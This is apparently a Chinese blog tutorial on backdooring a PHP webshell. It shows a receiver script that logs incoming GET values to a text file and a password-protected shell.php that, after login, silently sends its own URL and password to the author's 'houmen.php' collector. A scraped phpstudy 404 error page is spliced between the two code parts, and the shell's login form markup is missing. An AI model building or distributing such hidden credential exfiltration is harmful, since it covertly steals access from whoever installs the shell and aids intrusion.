PHP大马后门学习


使用户登录时候发送链接到后台服务器即可。简单逻辑代码实现如下:

一、收信箱子

<?php
	if(empty($_GET))
	{

	}else{
		$name = $_GET["name"];
		$name = $name."\r\n";
		$stream = fopen("box.txt", "a");
		fwrite($stream, $name);
		fclose($stream);
	}
	
?>	



  
  404 错误 - phpstudy
  
  
  
  
  
   
  
  
   
   
   
  
  


  

404 - Page Not Found 未找到

错误说明:请求的页面不存在
原因1:访问的文档权限不够
解决办法:
修改文件权限为755,windos系统修改目录权限为可写可读。
原因2:防火墙的原因
解决办法:
先关闭让防火墙通过WWW服务。
原因3:站点根目录无默认访问文件
解决办法:
在根目录中创建index.html或者创建index.php。
原因4:站点配置目录不正确
解决办法:
将网站应用程序复制到站点目录中,或者修改站点配置目录指定到应用程序目录中。
原因5:站点使用了伪静态
解决办法:
将伪静态规则删除,或者重新编写正确的伪静态规则,或关闭伪静态配置。
使用手册,视频教程,BUG反馈,官网地址: www.xp.cn

二、shell.php简单实现如下

<?php

header("Content-Type:text/html;charset=utf8");

$password = "admin";

if(empty($_POST)){
    echo '
'; echo ''; echo ''; echo '
'; }else{ $pass = $_POST["pass"]; if($pass == $password) { echo "欢迎Admin
"; $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $pass = $pass; $putUrl= "http://127.0.0.1/houmen.php?name=".$url."?pass=".$pass; #var_dump($putUrl); //var_dump($_SERVER); //发送httpget请求 #echo $putUrl; file_get_contents($putUrl); }else{ unset($_POST); echo "密码错误"; } }